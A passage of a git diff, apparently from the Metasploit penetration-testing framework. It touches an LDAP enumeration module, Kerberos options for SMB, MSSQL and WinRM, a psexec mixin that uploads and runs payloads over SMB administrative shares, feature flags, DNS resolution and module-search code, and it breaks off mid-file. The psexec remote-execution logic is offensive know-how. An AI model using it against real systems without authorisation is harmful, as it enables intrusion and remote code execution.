'FLAG_CONFIG_ALLOW_MOVE | ' if flags_converted & FLAG_CONFIG_ALLOW_MOVE > 0 + flag_string << 'FLAG_CONFIG_ALLOW_LIMITED_MOVE | ' if flags_converted & FLAG_CONFIG_ALLOW_LIMITED_MOVE > 0 + flag_string << 'FLAG_DOMAIN_DISALLOW_RENAME | ' if flags_converted & FLAG_DOMAIN_DISALLOW_RENAME > 0 + flag_string << 'FLAG_DOMAIN_DISALLOW_MOVE | ' if flags_converted & FLAG_DOMAIN_DISALLOW_MOVE > 0 + flag_string << 'FLAG_DISALLOW_MOVE_ON_DELETE | ' if flags_converted & FLAG_DISALLOW_MOVE_ON_DELETE > 0 + flag_string << 'FLAG_ATTR_IS_RDN | ' if flags_converted & FLAG_ATTR_IS_RDN > 0 + flag_string << 'FLAG_SCHEMA_BASE_OBJECT | ' if flags_converted & FLAG_SCHEMA_BASE_OBJECT > 0 + flag_string << 'FLAG_ATTR_IS_OPERATIONAL | ' if flags_converted & FLAG_ATTR_IS_OPERATIONAL > 0 + flag_string << 'FLAG_ATTR_IS_CONSTRUCTED | ' if flags_converted & FLAG_ATTR_IS_CONSTRUCTED > 0 + flag_string << 'FLAG_ATTR_REQ_PARTIAL_SET_MEMBER | ' if flags_converted & FLAG_ATTR_REQ_PARTIAL_SET_MEMBER > 0 + flag_string << 'FLAG_NOT_REPLICATED | ' if flags_converted & FLAG_NOT_REPLICATED > 0 + flag_string.strip.gsub!(/ \|$/, '') + end + + def output_json_data(entry) + data = {} + entry.each_key do |attr| + data[attr] = entry[attr].length == 1 ? entry[attr][0] : entry[attr] + end + print_status(entry[:dn][0].split(',').join(' ')) + print_line(JSON.pretty_generate(data)) + end + + def output_data_table(entry) + generate_rex_tables(entry, 'table') + end + + def output_data_csv(entry) + generate_rex_tables(entry, 'csv') + end + + def find_schema_dn(ldap, base) + results = ldap.search(attributes: ['objectCategory'], base: base, filter: '(objectClass=*)', scope: Net::LDAP::SearchScope_BaseObject) + validate_query_result!(ldap.get_operation_result.table) + if results.blank? + fail_with(Failure::UnexpectedReply, "LDAP server didn't respond to our request to find the root DN!") + end + + # Double check that the entry has an instancetype attribute. + unless results[0].to_h.key?(:objectcategory) + fail_with(Failure::UnexpectedReply, "LDAP server didn't respond to the root DN request with the objectcategory attribute field!") + end + + object_category_raw = results[0][:objectcategory][0] + schema_dn = object_category_raw.gsub(/CN=[A-Za-z0-9-]+,/, '') + print_good("#{peer} Discovered schema DN: #{schema_dn}") + + schema_dn + end + + def query_attributes_data(ldap, attributes, schema_dn) + attribute_properties = {} + + filter = '(|' + attributes.each do |key| + next if attribute_properties.key?(key) # Skip if we already have this one + next if key == :dn # Skip DN as it will never have a schema entry + + filter += "(LDAPDisplayName=#{key})" + end + filter += ')' + return unless filter.include?('LDAPDisplayName=') + + attributes_data = ldap.search(base: ['CN=Schema,CN=Configuration', schema_dn].join(','), filter: filter, attributes: %i[LDAPDisplayName isSingleValued oMSyntax attributeSyntax]) + query_result_table = ldap.get_operation_result.table + validate_query_result!(query_result_table) + + attributes_data.each do |entry| + ldap_display_name = entry[:ldapdisplayname][0].to_s.downcase.to_sym + attribute_properties[ldap_display_name] = { + issinglevalued: entry[:issinglevalued][0] == 'TRUE', + omsyntax: entry[:omsyntax][0].to_i, + attributesyntax: entry[:attributesyntax][0] + } + end + + attribute_properties + end + + def normalize_entry(entry, attribute_properties) + # Convert to a hash so we get the raw data we need from within the Net::LDAP::Entry object + entry = entry.to_h + normalized_entry = { dn: entry[:dn] } + entry.each_key do |attribute_name| + next if attribute_name == :dn # Skip the DN case as there will be no attributes_properties entry for it. + + normalized_attribute = entry[attribute_name].map { |v| Rex::Text.to_hex_ascii(v) } + attribute_property = attribute_properties[attribute_name] + unless attribute_property + normalized_entry[attribute_name] = normalized_attribute + next + end + + case attribute_property[:omsyntax] + when 1 # Boolean + normalized_attribute[0] = entry[attribute_name][0] != 0 + when 2 # Integer + if attribute_name == :systemflags + flags = entry[attribute_name][0] + converted_flags_string = convert_system_flags_to_string(flags) + normalized_attribute[0] = converted_flags_string + end + when 4 # OctetString or SID String + if attribute_property[:attributesyntax] == '2.5.5.17' # SID String + # Advice taken from https://ldapwiki.com/wiki/ObjectSID + object_sid_raw = entry[attribute_name][0] + begin + sid_data = Rex::Proto::MsDtyp::MsDtypSid.read(object_sid_raw) + sid_string = sid_data.to_s + rescue IOError => e + fail_with(Failure::UnexpectedReply, "Failed to read SID. Error was #{e.message}") + end + normalized_attribute[0] = sid_string + elsif attribute_property[:attributesyntax] == '2.5.5.10' # OctetString + if attribute_name.to_s.match(/guid$/i) + # Get the entry[attribute_name] object will be an array containing a single string entry, + # so reach in and extract that string, which will contain binary data. + bin_guid = entry[attribute_name][0] + if bin_guid.length == 16 # Length of binary data in bytes since this is what .length uses. In bits its 128 bits. + begin + decoded_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(bin_guid) + decoded_guid_string = decoded_guid.get + rescue IOError => e + fail_with(Failure::UnexpectedReply, "Failed to read GUID. Error was #{e.message}") + end + normalized_attribute[0] = decoded_guid_string + end + elsif attribute_name == :cacertificate || attribute_name == :usercertificate + normalized_attribute = entry[attribute_name].map do |raw_key_data| + _certificate_file, read_data = read_der_certificate_file(raw_key_data) + + read_data + end + end + end + when 6 # String (Object-Identifier) + when 10 # Enumeration + when 18 # NumbericString + when 19 # PrintableString + when 20 # Case-Ignore String + when 22 # IA5String + when 23 # GeneralizedTime String (UTC-Time) + when 24 # GeneralizedTime String (GeneralizedTime) + when 27 # Case Sensitive String + when 64 # DirectoryString String(Unicode) + when 65 # LargeInteger + if attribute_name == :creationtime || attribute_name.to_s.match(/lastlog(?:on|off)/) + timestamp = entry[attribute_name][0] + time_string = convert_nt_timestamp_to_time_string(timestamp) + elsif attribute_name.to_s.match(/lockoutduration$/i) || attribute_name.to_s.match(/pwdage$/) + timestamp = entry[attribute_name][0] + time_string = convert_pwd_age_to_time_string(timestamp) + end + normalized_attribute[0] = time_string + when 66 # String (Nt Security Descriptor) + when 127 # Object + else + print_error("Unknown oMSyntax entry: #{attribute_property[:omsyntax]}") + end + normalized_entry[attribute_name] = normalized_attribute + end + + normalized_entry + end + + def show_output(entry, output_format) + case output_format + when 'csv' + output_data_csv(entry) + when 'table' + output_data_table(entry) + when 'json' + output_json_data(entry) + else + fail_with(Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json') + end + end + + def run_queries_from_file(ldap, queries, base_dn, output_format) + queries.each do |query| + unless query['action'] && query['filter'] && query['attributes'] + fail_with(Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!") + end + attributes = query['attributes'] + if attributes.nil? || attributes.empty? + print_warning('At least one attribute needs to be specified per query in the query file for entries to work!') + break + end + filter = Net::LDAP::Filter.construct(query['filter']) + print_status("Running #{query['action']}...") + query_base = query['base_dn_prefix'] ? [query['base_dn_prefix'], base_dn].join(',') : base_dn + + result_count = perform_ldap_query_streaming(ldap, filter, attributes, query_base, schema_dn) do |result, attribute_properties| + show_output(normalize_entry(result, attribute_properties), output_format) + end + + print_warning("Query #{query['filter']} from #{query['action']} didn't return any results!") if result_count == 0 + end + end + + end + end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/mssql.rb b/lib/msf/core/exploit/remote/mssql.rb index 0a7b3705fe..68888538b5 100644 --- a/lib/msf/core/exploit/remote/mssql.rb +++ b/lib/msf/core/exploit/remote/mssql.rb @@ -347,12 +347,11 @@ module Exploit::Remote::MSSQL fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using Kerberos authentication.') if datastore['Mssql::Rhostname'].blank? fail_with(Msf::Exploit::Failure::BadConfig, 'The DOMAIN option is required when using Kerberos authentication.') if datastore['DOMAIN'].blank? - fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank? offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['MssqlKrbOfferedEncryptionTypes']) fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty? kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new( - host: datastore['DomainControllerRhost'], + host: datastore['DomainControllerRhost'].blank? ? nil : datastore['DomainControllerRhost'], hostname: datastore['Mssql::Rhostname'], proxies: datastore['Proxies'], mssql_port: rport, diff --git a/lib/msf/core/exploit/remote/smb/client.rb b/lib/msf/core/exploit/remote/smb/client.rb index 8ecc80ee06..7b46b82fc3 100644 --- a/lib/msf/core/exploit/remote/smb/client.rb +++ b/lib/msf/core/exploit/remote/smb/client.rb @@ -153,12 +153,11 @@ module Msf if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS fail_with(Msf::Exploit::Failure::BadConfig, 'The Smb::Rhostname option is required when using Kerberos authentication.') if datastore['Smb::Rhostname'].blank? fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank? - fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank? offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Smb::KrbOfferedEncryptionTypes']) fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty? kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::SMB.new( - host: datastore['DomainControllerRhost'], + host: datastore['DomainControllerRhost'].blank? ? nil : datastore['DomainControllerRhost'], hostname: datastore['Smb::Rhostname'], proxies: datastore['Proxies'], realm: datastore['SMBDomain'], diff --git a/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb b/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb index 6d38a0259e..bac177d20a 100644 --- a/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb +++ b/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb @@ -13,9 +13,13 @@ module Msf::Exploit::Remote::SMB::Client::KerberosAuthentication def authenticate raise ::RubySMB::Error::AuthenticationFailure, "Missing negotiation security buffer" if negotiation_security_buffer.nil? - gss_api = OpenSSL::ASN1.decode(negotiation_security_buffer) - mech_types = RubySMB::Gss.asn1dig(gss_api, 1, 0, 0, 0)&.value || [] - has_kerberos_gss_mech_type = mech_types&.any? { |mech_type| mech_type.value == ::Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value } + begin + gss_api = OpenSSL::ASN1.decode(negotiation_security_buffer) + mech_types = RubySMB::Gss.asn1dig(gss_api, 1, 0, 0, 0)&.value || [] + has_kerberos_gss_mech_type = mech_types&.any? { |mech_type| mech_type.value == ::Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value } + rescue OpenSSL::ASN1::ASN1Error + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError.new('Invalid GSS Response') + end error = "Unable to negotiate kerberos with the remote host. Expected oid #{::Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value} in #{mech_types.map(&:value).inspect}" raise ::RubySMB::Error::AuthenticationFailure, error unless has_kerberos_gss_mech_type diff --git a/lib/msf/core/exploit/remote/smb/client/psexec.rb b/lib/msf/core/exploit/remote/smb/client/psexec.rb index 31861418e2..fef710aa95 100644 --- a/lib/msf/core/exploit/remote/smb/client/psexec.rb +++ b/lib/msf/core/exploit/remote/smb/client/psexec.rb @@ -97,16 +97,15 @@ module Exploit::Remote::SMB::Client::Psexec # @return [Boolean] Whether everything went well def psexec(command, disconnect=true) remove_socket(self.sock) - - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + simple.connect("\\\\#{simple.address}\\IPC$") + handle = dcerpc_handle_target('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], simple.address) vprint_status("Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("Bound to #{handle} ...") vprint_status("Obtaining a service manager handle...") svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc) - scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST']) + scm_handle, scm_status = svc_client.openscmanagerw(simple.address) if scm_status == ERROR_ACCESS_DENIED print_error("ERROR_ACCESS_DENIED opening the Service Manager") @@ -187,14 +186,14 @@ module Exploit::Remote::SMB::Client::Psexec end if disconnect - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + simple.disconnect("\\\\#{simple.address}\\IPC$") end true end def powershell_installed?(smb_share, psh_path) - share = "\\\\#{datastore['RHOST']}\\#{smb_share}" + share = "\\\\#{simple.address}\\#{smb_share}" case smb_share.upcase when 'ADMIN$' @@ -223,15 +222,15 @@ module Exploit::Remote::SMB::Client::Psexec text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt" bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat" command = payload.encoded - output = execute_command_with_output(text, bat, command, smbshare, datastore['RHOST'], delay: datastore['CMD::DELAY']) + output = execute_command_with_output(text, bat, command, smbshare, simple.address, delay: datastore['CMD::DELAY']) unless output.nil? print_good('Command completed successfully!') print_status("Output for \"#{ command }\":\n") print_line("#{output}\n") report_note( - :rhost => datastore['RHOST'], - :rport => datastore['RPORT'], + :rhost => simple.address, + :rport => simple.port, :type => 'psexec_command', :name => command, :data => output @@ -304,11 +303,11 @@ module Exploit::Remote::SMB::Client::Psexec folder_list = smbshare.split(/[\\\/]/) smbshare = folder_list[0] fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + simple.connect("\\\\#{simple.address}\\#{smbshare}") fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true) else subfolder = false - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + simple.connect("\\\\#{simple.address}\\#{smbshare}") fd = smb_open("#{filename}", 'rwct', write: true) end exe = '' @@ -328,7 +327,7 @@ module Exploit::Remote::SMB::Client::Psexec end # Disconnect from the share - simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") + simple.disconnect("\\\\#{simple.address}\\#{smbshare}") # define the file location if smb_share == 'ADMIN$' @@ -345,14 +344,14 @@ module Exploit::Remote::SMB::Client::Psexec print_status("Deleting \\#{filename}...") #This is not really useful but will prevent double \\ on the wire :) if smb_share =~ /.[\\\/]/ - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + simple.connect("\\\\#{simple.address}\\#{smbshare}") begin simple.delete("#{fileprefix}\\#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") end else - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + simple.connect("\\\\#{simple.address}\\#{smbshare}") begin simple.delete("#{filename}") rescue XCEPT::ErrorCode => e @@ -363,7 +362,7 @@ module Exploit::Remote::SMB::Client::Psexec end def mof_upload(smb_share) - share = "\\\\#{datastore['RHOST']}\\ADMIN$" + share = "\\\\#{simple.address}\\ADMIN$" filename = "#{Rex::Text.rand_text_alpha(8)}.exe" # payload as exe diff --git a/lib/msf/core/exploit/remote/winrm.rb b/lib/msf/core/exploit/remote/winrm.rb index ceb529f6c4..91a7e9e22a 100644 --- a/lib/msf/core/exploit/remote/winrm.rb +++ b/lib/msf/core/exploit/remote/winrm.rb @@ -45,7 +45,6 @@ module Exploit::Remote::WinRM if datastore['Winrm::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS fail_with(Msf::Exploit::Failure::BadConfig, 'The Winrm::Rhostname option is required when using Kerberos authentication.') if datastore['Winrm::Rhostname'].blank? fail_with(Msf::Exploit::Failure::BadConfig, 'The DOMAIN option is required when using Kerberos authentication.') if datastore['DOMAIN'].blank? - fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank? offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Winrm::KrbOfferedEncryptionTypes']) fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty? else @@ -80,7 +79,7 @@ module Exploit::Remote::WinRM case datastore['Winrm::Auth'] when Msf::Exploit::Remote::AuthOption::KERBEROS kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::HTTP.new( - host: datastore['DomainControllerRhost'], + host: datastore['DomainControllerRhost'].blank? ? nil : datastore['DomainControllerRhost'], hostname: datastore['Winrm::Rhostname'], proxies: datastore['Proxies'], realm: datastore['DOMAIN'], diff --git a/lib/msf/core/feature_manager.rb b/lib/msf/core/feature_manager.rb index 167e41d549..6fb3349699 100644 --- a/lib/msf/core/feature_manager.rb +++ b/lib/msf/core/feature_manager.rb @@ -20,39 +20,68 @@ module Msf MANAGER_COMMANDS = 'manager_commands' METASPLOIT_PAYLOAD_WARNINGS = 'metasploit_payload_warnings' DEFER_MODULE_LOADS = 'defer_module_loads' + DNS_FEATURE = 'dns_feature' + HIERARCHICAL_SEARCH_TABLE = 'hierarchical_search_table' + SMB_SESSION_TYPE = 'smb_session_type' DEFAULTS = [ { name: WRAPPED_TABLES, description: 'When enabled Metasploit will wordwrap all tables to fit into the available terminal width', - default_value: true + default_value: true, + developer_notes: 'This functionality is enabled by default now, and the feature flag can be removed now' }.freeze, { name: FULLY_INTERACTIVE_SHELLS, description: 'When enabled you will have the option to drop into a fully interactive shell from within meterpreter', - default_value: false + default_value: false, + developer_notes: 'Development paused as the interaction time feels clunky, especially for slow transport layers like HTTP on Mettle. Would require changes to the transport sleep/priority logic' }.freeze, { name: MANAGER_COMMANDS, description: 'When enabled you will have access to manager commands such as _servicemanager and _historymanager', - default_value: false + default_value: false, + developer_notes: 'Useful for developers, likely not to ever be useful for an average user' }.freeze, { name: DATASTORE_FALLBACKS, description: 'When enabled you can consistently set username across modules, instead of setting SMBUser/FTPUser/BIND_DN/etc', requires_restart: true, - default_value: true + default_value: true, + developer_notes: 'This functionality is enabled by default now, and the feature flag can be removed now' }.freeze, { name: METASPLOIT_PAYLOAD_WARNINGS, description: 'When enabled Metasploit will output warnings about missing Metasploit payloads, for instance if they were removed by antivirus etc', requires_restart: true, - default_value: false + default_value: false, + developer_notes: 'Planned for default enablement in: Metasploit 6.4.x' }.freeze, { name: DEFER_MODULE_LOADS, description: 'When enabled will not eagerly load all modules', requires_restart: true, + default_value: false, + developer_notes: 'Planned for default enablement in: Metasploit 6.4.x' + }.freeze, + { + name: SMB_SESSION_TYPE, + description: 'When enabled will allow for the creation/use of smb sessions', + requires_restart: true, default_value: false + }.freeze, + { + name: DNS_FEATURE, + description: 'When enabled, allows configuration of DNS resolution behaviour in Metasploit', + requires_restart: false, + default_value: false, + developer_notes: 'Planned for default enablement in: Metasploit 6.4.x' + }.freeze, + { + name: HIERARCHICAL_SEARCH_TABLE, + description: 'When enabled, the search table is enhanced to show details on module actions and targets', + requires_restart: false, + default_value: false, + developer_notes: 'Planned for default enablement in: Metasploit 6.4.x' }.freeze ].freeze diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 5aaa76e3b0..6c104f368d 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -82,6 +82,12 @@ class Framework require 'msf/core/cert_provider' Rex::Socket::Ssl.cert_provider = Msf::Ssl::CertProvider + if options.include?('CustomDnsResolver') + self.dns_resolver = options['CustomDnsResolver'] + self.dns_resolver.set_framework(self) + Rex::Socket._install_global_resolver(self.dns_resolver) + end + subscriber = FrameworkEventSubscriber.new(self) events.add_exploit_subscriber(subscriber) events.add_session_subscriber(subscriber) @@ -147,6 +153,10 @@ class Framework Version end + # + # DNS resolver for the framework + # + attr_reader :dns_resolver # # Event management interface for registering event handler subscribers and # for interacting with the correlation engine. @@ -278,6 +288,7 @@ protected # @return [Hash] attr_accessor :options + attr_writer :dns_resolver #:nodoc: attr_writer :events # :nodoc: attr_writer :modules # :nodoc: attr_writer :datastore # :nodoc: diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb index ddf5542b58..e506ef42b3 100644 --- a/lib/msf/core/modules/external/shim.rb +++ b/lib/msf/core/modules/external/shim.rb @@ -35,8 +35,10 @@ class Msf::Modules::External::Shim ERB.new(File.read(template)).result(binding) end - def self.common_metadata(meta = {}) - render_template('common_metadata.erb', meta) + def self.common_metadata(meta = {}, default_options: {}) + # Combine any template defaults with the defaults specified within the external module's metadata + default_options = default_options.merge(meta[:default_options]) + render_template('common_metadata.erb', meta.merge(default_options: default_options)) end def self.common_check(meta = {}) @@ -54,12 +56,8 @@ class Msf::Modules::External::Shim meta[:capabilities] = mod.meta['capabilities'] meta[:notes] = transform_notes(mod.meta['notes']) - if mod.meta['describe_payload_options'].nil? - mod.meta['describe_payload_options'] = {} - end - meta[:default_options] = mod.meta['describe_payload_options'].map do |name, value| - "#{name.dump} => #{value.inspect}" - end.join(",\n ") + # Additionally check the 'describe_payload_options' key for backwards compatibility + meta[:default_options] = (mod.meta['default_options'] || mod.meta['describe_payload_options'] || {}) meta end diff --git a/lib/msf/core/modules/external/templates/common_metadata.erb b/lib/msf/core/modules/external/templates/common_metadata.erb index 934423225c..c861ec4063 100644 --- a/lib/msf/core/modules/external/templates/common_metadata.erb +++ b/lib/msf/core/modules/external/templates/common_metadata.erb @@ -6,3 +6,6 @@ ], 'License' => <%= meta[:license] %>, 'Notes' => <%= meta[:notes] %>, + 'DefaultOptions' => { + <%= meta[:default_options].map { |name, value| "#{name.dump} => #{value.inspect}" }.join(",\n#{' ' * 8}") %> + }, diff --git a/lib/msf/core/modules/external/templates/evasion.erb b/lib/msf/core/modules/external/templates/evasion.erb index 832ecc7eec..ca966c2911 100644 --- a/lib/msf/core/modules/external/templates/evasion.erb +++ b/lib/msf/core/modules/external/templates/evasion.erb @@ -16,11 +16,7 @@ class MetasploitModule < Msf::Evasion 'Targets' => [ <%= meta[:targets] %> - ], - 'DefaultOptions' => - { - <%= meta[:default_options] %> - } + ] }) register_options([ diff --git a/lib/msf/core/modules/external/templates/remote_exploit.erb b/lib/msf/core/modules/external/templates/remote_exploit.erb index 72e2bea2c7..d29ed3e501 100644 --- a/lib/msf/core/modules/external/templates/remote_exploit.erb +++ b/lib/msf/core/modules/external/templates/remote_exploit.erb @@ -8,7 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - <%= common_metadata meta %> + <%= common_metadata meta, default_options: { 'WfsDelay' => meta[:wfsdelay] } %> 'References' => [ <%= meta[:references] %> @@ -22,7 +22,6 @@ class MetasploitModule < Msf::Exploit::Remote <%= meta[:targets] %> ], 'DefaultTarget' => 0, - 'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> }, )) register_options([ diff --git a/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb b/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb index 4f54e956c0..4e64070136 100644 --- a/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb +++ b/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - <%= common_metadata meta %> + <%= common_metadata meta, default_options: { 'WfsDelay' => meta[:wfsdelay] } %> 'References' => [ <%= meta[:references] %> @@ -23,7 +23,6 @@ class MetasploitModule < Msf::Exploit::Remote <%= meta[:targets] %> ], 'DefaultTarget' => 0, - 'DefaultOptions' => { 'WfsDelay' => <%= meta[:wfsdelay] %> }, )) register_options([ diff --git a/lib/msf/core/modules/metadata/obj.rb b/lib/msf/core/modules/metadata/obj.rb index e6c01ef972..0f1087c2a9 100644 --- a/lib/msf/core/modules/metadata/obj.rb +++ b/lib/msf/core/modules/metadata/obj.rb @@ -8,6 +8,8 @@ module Modules module Metadata class Obj + # @return [Hash] + attr_reader :actions # @return [String] attr_reader :name # @return [String] @@ -98,6 +100,15 @@ class Obj @ref_name = module_instance.class.refname @needs_cleanup = module_instance.respond_to?(:needs_cleanup) && module_instance.needs_cleanup + if module_instance.respond_to?(:actions) + @actions = module_instance.actions.sort_by(&:name).map do |action| + { + 'name' => action.name, + 'description' => action.description + } + end + end + if module_instance.respond_to?(:autofilter_ports) @autofilter_ports = module_instance.autofilter_ports end @@ -171,6 +182,8 @@ class Obj 'needs_cleanup' => @needs_cleanup, } + data['actions'] = @actions if @actions + if @payload_type payload_data = { 'payload_type' => @payload_type, @@ -211,6 +224,7 @@ class Obj ####### def init_from_hash(obj_hash) + @actions = obj_hash['actions'] @name = obj_hash['name'] @fullname = obj_hash['fullname'] @aliases = obj_hash['aliases'] || [] @@ -257,6 +271,16 @@ class Obj end def force_encoding(encoding) + if @actions + # Encode the actions hashes, assumes that there are no nested hashes + @actions = @actions.map do |action| + action.map do |k, v| + new_key = k.dup.force_encoding(encoding) + new_value = v.is_a?(String) ? v.dup.force_encoding(encoding) : v + [new_key, new_value] + end.to_h + end + end @name = @name.dup.force_encoding(encoding) @fullname = @fullname.dup.force_encoding(encoding) @description = @description.dup.force_encoding(encoding) diff --git a/lib/msf/core/modules/metadata/search.rb b/lib/msf/core/modules/metadata/search.rb index 8d44a14c1a..cc85c8b818 100644 --- a/lib/msf/core/modules/metadata/search.rb +++ b/lib/msf/core/modules/metadata/search.rb @@ -8,6 +8,7 @@ module Msf::Modules::Metadata::Search VALID_PARAMS = %w[ + action adapter aka arch @@ -139,7 +140,8 @@ module Msf::Modules::Metadata::Search # free form text search will honor 'and' semantics, i.e. 'metasploit pro' will only match modules that contain both # words, and will return false when only one word is matched if keyword == 'text' - text_segments = [module_metadata.name, module_metadata.fullname, module_metadata.description] + module_metadata.references + module_metadata.author + (module_metadata.notes['AKA'] || []) + module_actions = (module_metadata.actions || []).flat_map { |action| action.values.map(&:to_s) } + text_segments = [module_metadata.name, module_metadata.fullname, module_metadata.description] + module_metadata.references + module_metadata.author + (module_metadata.notes['AKA'] || []) + module_actions if module_metadata.targets text_segments = text_segments + module_metadata.targets @@ -167,6 +169,8 @@ module Msf::Modules::Metadata::Search regex = as_regex(search_term) case keyword + when 'action' + match = [keyword, search_term] if (module_metadata&.actions || []).any? { |action| action.any? { |k, v| k =~ regex || v =~ regex } } when 'aka' match = [keyword, search_term] if (module_metadata.notes['AKA'] || []).any? { |aka| aka =~ regex } when 'author', 'authors' diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index e16121a708..ca1613e7ee 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -217,10 +217,15 @@ module Msf rhosts_walker = Msf::RhostsWalker.new(datastore['RHOSTS'], datastore) rhosts_count = rhosts_walker.count unless rhosts_walker.valid? - invalid_values = rhosts_walker.to_enum(:errors).take(5).map(&:value) + errors = rhosts_walker.to_enum(:errors).to_a + grouped = errors.group_by { |err| err.cause.nil? ? nil : (err.cause.class.const_defined?(:MESSAGE) ? err.cause.class::MESSAGE : nil) } error_options << 'RHOSTS' - if invalid_values.any? - error_reasons['RHOSTS'] << "unexpected values: #{invalid_values.join(', ')}" + if grouped.any? + grouped.each do | message, error_subset | + invalid_values = error_subset.map(&:value).take(5) + message = 'Unexpected values' if message.nil? + error_reasons['RHOSTS'] << "#{message}: #{invalid_values.join(', ')}" + end end end diff --git a/lib/msf/core/optional_session.rb b/lib/msf/core/optional_session.rb new file mode 100644 index 0000000000..74c63b8673 --- /dev/null +++ b/lib/msf/core/optional_session.rb @@ -0,0 +1,28 @@ +# -*- coding: binary -*- +# +# frozen_string_literal: true + +# A mixin used for providing Modules with post-exploitation options and helper methods +# +module Msf::OptionalSession + include Msf::SessionCompatibility + + def initialize(info = {}) + super + + if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) + register_options( + [ + Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]), + Msf::Opt::RHOST(nil, false), + Msf::Opt::RPORT(nil, false) + ] + ) + end + end + + def session + return nil unless framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) + super + end +end diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index ffd9491b03..056e904ce9 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -288,9 +288,9 @@ class Payload < Msf::Module # # Generates the payload and returns the raw buffer to the caller. - # - def generate(_opts = {}) - internal_generate + # @param opts [Hash] + def generate(opts = {}) + internal_generate(opts) end # @@ -611,9 +611,10 @@ protected # # @see PayloadSet#check_blob_cache # @param asm [String] Assembly code to be assembled into a raw payload + # @param opts [Hash] # @return [String] The final, assembled payload # @raise ArgumentError if +asm+ is blank - def build(asm, off={}) + def build(asm, off={}, opts = {}) if(asm.nil? or asm.empty?) raise ArgumentError, "Assembly must not be empty" end @@ -644,7 +645,7 @@ protected end # Assemble the payload from the assembly - a = self.arch + a = opts[:arch] || self.arch if a.kind_of? Array a = self.arch.first end @@ -677,11 +678,11 @@ protected # # Generate the payload using our local payload blob and offsets # - def internal_generate + def internal_generate(opts = {}) # Build the payload, either by using the raw payload blob defined in the # module or by actually assembling it if assembly and !assembly.empty? - raw = build(assembly, offsets) + raw = build(assembly, offsets, opts) else raw = payload.dup end diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index 9f6cd14748..a1c0e0f309 100644 --- a/lib/msf/core/payload/android.rb +++ 